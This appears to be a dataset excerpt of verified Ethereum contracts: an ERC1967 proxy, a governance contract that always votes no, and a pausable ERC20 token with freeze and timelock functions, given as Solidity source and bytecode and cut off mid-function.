18690bf451229d14953a5a5627b7216906323b872dd90610a4f90339030908690600401610f2f565b602060405180830381600087803b158015610a6957600080fd5b505af1158015610a7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa19190610e9d565b5033600090815260036020526040812080548290610abe90611207565b9182905550336000818152600660209081526040808320858452909152908190208590555191925082917f18a5ed48bb0a697c64a5aef8f28cec1f29ab01da27a45c5f835099781ef1ea4690610b159086906111c3565b60405180910390a35050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610b72576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a79061101a565b60015473ffffffffffffffffffffffffffffffffffffffff82811691161415610b9a57600080fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000808473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401610c13929190610f60565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610c619190610ed5565b6000604051808303816000865af19150503d8060008114610c9e576040519150601f19603f3d011682016040523d82523d6000602084013e610ca3565b606091505b5091509150818015610ccd575080511580610ccd575080806020019051810190610ccd9190610e9d565b610d03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a790610f86565b5050505050565b6040805160008082526020820190925273ffffffffffffffffffffffffffffffffffffffff8416908390604051610d419190610ed5565b60006040518083038185875af1925050503d8060008114610d7e576040519150601f19603f3d011682016040523d82523d6000602084013e610d83565b606091505b5050905080610dbe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a790611109565b505050565b600060208284031215610dd4578081fd5b8135610ddf8161126f565b9392505050565b60008060408385031215610df8578081fd5b8235610e038161126f565b946020939093013593505050565b600080600060608486031215610e25578081fd5b8335610e308161126f565b92506020840135610e408161126f565b929592945050506040919091013590565b60008060408385031215610df8578182fd5b60008060008060808587031215610e78578081fd5b8435610e838161126f565b966020860135965060408601359560600135945092505050565b600060208284031215610eae578081fd5b81518015158114610ddf578182fd5b600060208284031215610ece578081fd5b5035919050565b60008251815b81811015610ef55760208186018101518583015201610edb565b81811115610f035782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b6020808252601f908201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604082015260600190565b6020808252602d908201527f4552433230546f4245503230577261707065723a2053686f756c64206265206760408201527f726561746572207468616e203000000000000000000000000000000000000000606082015260800190565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526026908201527f4552433230546f4245503230577261707065723a20416c72656164792070726f60408201527f6365737365640000000000000000000000000000000000000000000000000000606082015260800190565b6020808252602a908201527f4552433230546f4245503230577261707065723a2043616e2774206265207a6560408201527f726f206164647265737300000000000000000000000000000000000000000000606082015260800190565b60208082526023908201527f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960408201527f4c45440000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526024908201527f4552433230546f4245503230577261707065723a2056616c756520746f6f207360408201527f6d616c6c00000000000000000000000000000000000000000000000000000000606082015260800190565b90815260200190565b918252602082015260400190565b9283526020830191909152604082015260600190565b60008282101561120257611202611240565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561123957611239611240565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff8116811461129157600080fd5b5056fea264697066735822122034de30d27e4b289aabd14dbb4d9fff1de419ea7f889b86900acfd74588b1722d64736f6c63430008000033
[ 16, 7 ]
0xf2991e0808a481acd7fc108604efa566d700d9fb
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract CubeX{ //CubeX bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "address error"); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220fd2ec7044597a50fd26ba76e5cd6f369991f5f800ac705a52bda868fe179e55f64736f6c63430008070033
[ 5 ]
0xf299d8d1cb7b3636083c732c67dc399dbb05e625
// Verified using https://dapp.tools // hevm: flattened sources of src/ImmutabilityButWorse.sol // SPDX-License-Identifier: AGPL-3.0-only pragma solidity =0.8.10; ////// src/ImmutabilityButWorse.sol /* pragma solidity 0.8.10; */ /// @title Immutability But Worse /// @author Transmissions11 (https://2Ξ».com) /// @notice A simple contract users can delegate their /// governance tokens to that votes no on every proposal. /// @dev Compatible with OpenZeppelin and Compound style governance. contract ImmutabilityButWorse { string public constant WHY_I_VOTED_NO = "no."; event VotedNo(Governance indexed gov, uint256 id); function voteNo(Governance gov, uint256 id) external { gov.castVoteWithReason(id, 0, WHY_I_VOTED_NO); emit VotedNo(gov, id); } } interface Governance { function castVoteWithReason( uint256 proposalId, uint8 support, string memory reason ) external; }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80634b91562e1461003b578063eaf31ad214610050575b600080fd5b61004e6100493660046101b0565b6100a2565b005b61008c6040518060400160405280600381526020017f6e6f2e000000000000000000000000000000000000000000000000000000000081525081565b6040516100999190610260565b60405180910390f35b604080518082018252600381527f6e6f2e0000000000000000000000000000000000000000000000000000000000602082015290517f7b3c71d300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff841691637b3c71d39161012a9185916000919060040161027a565b600060405180830381600087803b15801561014457600080fd5b505af1158015610158573d6000803e3d6000fd5b505050508173ffffffffffffffffffffffffffffffffffffffff167f3c1a0a784b83007ccad5c88c27615c37cec20ec835876d886364d034f62cb75f826040516101a491815260200190565b60405180910390a25050565b600080604083850312156101c357600080fd5b823573ffffffffffffffffffffffffffffffffffffffff811681146101e757600080fd5b946020939093013593505050565b6000815180845260005b8181101561021b576020818501810151868301820152016101ff565b8181111561022d576000602083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60208152600061027360208301846101f5565b9392505050565b83815260ff8316602082015260606040820152600061029c60608301846101f5565b9594505050505056fea2646970667358221220457dfe848ba3a87640e5c80a84c86633b7b08876cfb54862364a7835022c911b64736f6c634300080a0033
[ 38 ]
0xf29a131e5fec60f7c89dcc000ababda89b6a3abf
pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } function isOwner(address account) public view returns (bool) { if( account == owner ){ return true; } else { return false; } } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public onlyNewOwner returns(bool) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract PauserRole is Ownable{ using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)|| isOwner(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function removePauser(address account) public onlyOwner { _removePauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); require(from != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 value) public returns (bool) { _burn(msg.sender, value); return true; } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } /* * approve/increaseApprove/decreaseApprove can be set when Paused state */ /* * function approve(address spender, uint256 value) public whenNotPaused returns (bool) { * return super.approve(spender, value); * } * * function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { * return super.increaseAllowance(spender, addedValue); * } * * function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { * return super.decreaseAllowance(spender, subtractedValue); * } */ } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } contract ERC20ext is ERC20Detailed, ERC20Pausable { struct LockInfo { uint256 _releaseTime; uint256 _amount; } mapping (address => LockInfo[]) public timelockList; mapping (address => bool) public frozenAccount; event Freeze(address indexed holder); event Unfreeze(address indexed holder); event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); modifier notFrozen(address _holder) { require(!frozenAccount[_holder]); _; } constructor(string memory name, string memory symbol, uint256 amount, uint8 decimals) ERC20Detailed(name, symbol, decimals) public { _mint(msg.sender, amount * 10 ** uint256(decimals)); } function timelockListLength(address owner) public view returns (uint256) { return timelockList[owner].length; } function balanceOf(address owner) public view returns (uint256) { uint256 totalBalance = super.balanceOf(owner); if( timelockList[owner].length >0 ){ for(uint i=0; i<timelockList[owner].length;i++){ totalBalance = totalBalance.add(timelockList[owner][i]._amount); } } return totalBalance; } function balanceOfTimelocked(address owner) public view returns (uint256) { uint256 totalLocked = 0; if( timelockList[owner].length >0 ){ for(uint i=0; i<timelockList[owner].length;i++){ totalLocked = totalLocked.add(timelockList[owner][i]._amount); } } return totalLocked; } function balanceOfAvailable(address owner) public view returns (uint256) { uint256 totalBalance = super.balanceOf(owner); if( timelockList[owner].length >0 ){ for(uint i=0; i<timelockList[owner].length;i++){ if(timelockList[owner][i]._releaseTime <= now) { totalBalance = totalBalance.add(timelockList[owner][i]._amount); } } } return totalBalance; } function transfer(address to, uint256 value) public notFrozen(msg.sender) returns (bool) { if (timelockList[msg.sender].length > 0 ) { _autoUnlock(msg.sender); } return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public notFrozen(from) returns (bool) { if (timelockList[from].length > 0) { _autoUnlock(from); } return super.transferFrom(from, to, value); } function freezeAccount(address holder) public onlyPauser returns (bool) { require(!frozenAccount[holder]); // require(timelockList[holder].length == 0); frozenAccount[holder] = true; emit Freeze(holder); return true; } function unfreezeAccount(address holder) public onlyPauser returns (bool) { require(frozenAccount[holder]); frozenAccount[holder] = false; emit Unfreeze(holder); return true; } function lockByQuantity(address holder, uint256 value, uint256 releaseTime) public onlyPauser returns (bool) { require(!frozenAccount[holder]); _lock(holder,value,releaseTime); return true; } function unlockByQuantity(address holder, uint256 value, uint256 releaseTime) public onlyPauser returns (bool) { //1 require(!frozenAccount[holder]); //2 require(timelockList[holder].length >0); //3 uint256 totalLocked; for(uint idx = 0; idx < timelockList[holder].length ; idx++ ){ totalLocked = totalLocked.add(timelockList[holder][idx]._amount); } require(totalLocked >value); //4 for(uint idx = 0; idx < timelockList[holder].length ; idx++ ) { if( _unlock(holder, idx) ) { idx -=1; } } //5 _lock(holder,totalLocked.sub(value),releaseTime); return true; } function transferWithLock(address holder, uint256 value, uint256 releaseTime) public onlyPauser returns (bool) { _transfer(msg.sender, holder, value); _lock(holder,value,releaseTime); return true; } function unlock(address holder, uint256 idx) public onlyPauser returns (bool) { require( timelockList[holder].length > idx, "AhnLog_There is not lock info."); _unlock(holder,idx); return true; } function _lock(address holder, uint256 value, uint256 releaseTime) internal returns (bool) { _balances[holder] = _balances[holder].sub(value); timelockList[holder].push( LockInfo(releaseTime, value) ); emit Lock(holder, value, releaseTime); return true; } function _unlock(address holder, uint256 idx) internal returns(bool) { LockInfo storage lockinfo = timelockList[holder][idx]; uint256 releaseAmount = lockinfo._amount; delete timelockList[holder][idx]; timelockList[holder][idx] = timelockList[holder][timelockList[holder].length.sub(1)]; timelockList[holder].length -=1; emit Unlock(holder, releaseAmount); _balances[holder] = _balances[holder].add(releaseAmount); return true; } function _autoUnlock(address holder) internal returns (bool) { for(uint256 idx 